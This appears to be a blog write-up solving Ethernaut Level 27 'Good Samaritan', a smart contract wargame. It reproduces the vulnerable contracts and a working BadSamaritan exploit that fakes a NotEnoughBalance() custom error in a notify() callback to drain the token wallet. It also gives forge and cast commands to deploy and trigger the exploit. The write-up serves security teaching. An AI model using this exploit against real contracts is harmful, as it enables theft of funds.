Ethernaut Level 27 - Good Samaritan
Analysis and solution for Ethernaut's Level 27 - Good Samaritan, with Solidity and Foundry
Objectives
There's a GoodSamaritan
contract that holds a lot of tokens and donates 10 tokens to anyone who requests. Our goal is to drain the contract of all the tokens it holds by exploiting something called custom errors that were recently introduced in Solidity.
Since the aftermath of the last level, I'm so glad they gave us an easy one this time.
Analysis
In this level, there are 3 contracts. GoodSamaritan
is the one with which we'll be interacting. We can verify this by executing contract.abi
in the console.
Let's go through the contracts.
Wallet
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
- The wallet defines two custom errors at the top which it's using inside the revert statements.
- The function
donate10()
is the one that is called to donate 10 coins to the requestor. It checks the balance of the contract (GoodSamaritan
) before the transfer and reverts with a custom error (NotEnoughBalance()
) if it's less than 10. Else, it just transfers 10 coins. - Function
transferRemainder()
transfers all the coins stored in the contract to the requestor. We need to somehow trigger this function. - Both of the functions described above are
onlyOwner
allowing only the owner to call them. The owner will beGoodSamaritan
contract in this case.
Coin
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
- The Coin contract adds a million coins to the balance of the
GoodSamaritan
contract inside the constructor. - The
transfer
function is important here. It is doing it's regular validations, decreasing the amount from the sender and increasing the destination's amount. But there's one specific validation that stands out -if(dest_.isContract())
. This is checking if the address that requested the donation is a contract and calling thenotify()
function on the address, i.e.,dest_
contract. Since we control the requestor address, we can create a contract on that address and probably control the execution flow after theINotifyable(dest_).notify(amount_)
is called.
GoodSamaritan
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
- The contract is deploying new instances of the
Wallet
andCoin
contracts. - The function
requestDonation()
is of interest here. We can call this function externally. Note that this whole thing is inside atry
andcatch
block.- The
try
block is executing thewallet.donate10(msg.sender)
call withmsg.sender
being anyone who called the function. - The
catch
block is validating if the error thrown as a result of an error with thetry
block matches with the string of the custom error messageNotEnoughBalance()
. If it does match, then the wallet will transfer all the amount to us. This is what we need to achieve.
- The
The Attack Flow
Let's take a few steps back and trace what happens when we call the requestDonation()
function:
- We made a call to
requestDonation()
and the execution flow goes towallet.donate10(msg.sender)
. - The wallet contract calls
coin.transfer()
if everything goes well. - The
coin.transfer()
function does the necessary calculations, checks if our address is a contract, and then calls anotify()
function on our address. - This is where we attack. We create a
notify()
function in our contract and make it revert a custom error with the nameNotEnoughBalance()
. This will trigger the error in theGoodSamaritan.requestDonation()
function and thecatch()
block will be triggered transferring us all the tokens. - But wait, there's another catch. Transferring all the tokens won't work because our contract will just revert the transaction. To counter this, we will need to add another condition to our
notify()
function to check if theamount <= 10
, and then only revert.
The Exploit
Here's how our exploits code looks like:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../instances/Ilevel27.sol";
contract BadSamaritan {
error NotEnoughBalance();
GoodSamaritan goodsamaritan = GoodSamaritan(0xcf2e93212faddDeB5ca99606104Be3Bae28e27A4); //ethernaut instance address
function attax() external {
goodsamaritan.requestDonation();
}
function notify(uint256 amount) external pure {
if (amount <= 10) {
revert NotEnoughBalance();
}
}
}
- The
attax()
function is just for calling therequestDonation()
to trigger the initial transfer. - The transfer will then call our
notify()
function and since the amount will be 10, it'll revert. - The revert will then trigger the
catch
block inrequestDonation()
and will transfer all the tokens to us. - This time our
notify()
won't revert due to theif
condition.
Let's deploy our contract using the following command:
forge create BadSamaritan --private-key $PKEY --rpc-url $RPC_URL
Now to call the attax()
function:
cast send 0xb5daE871ADAFD33ee4B6Bf782a30b238902715F6 "attax()" --private-key $PKEY --rpc-url $RPC_URL --gas-limit 1000000
I specified a large gas limit because the transaction kept failing.
The instance can now be submitted to finish the level.
My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry
My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - blog.dixitaditya.com/getting-started-with-e..
Takeaways
It is a really bad idea to give execution control to the hands of any external user and then use any dependent condition based on the external factor to decide a critical logic in the contract.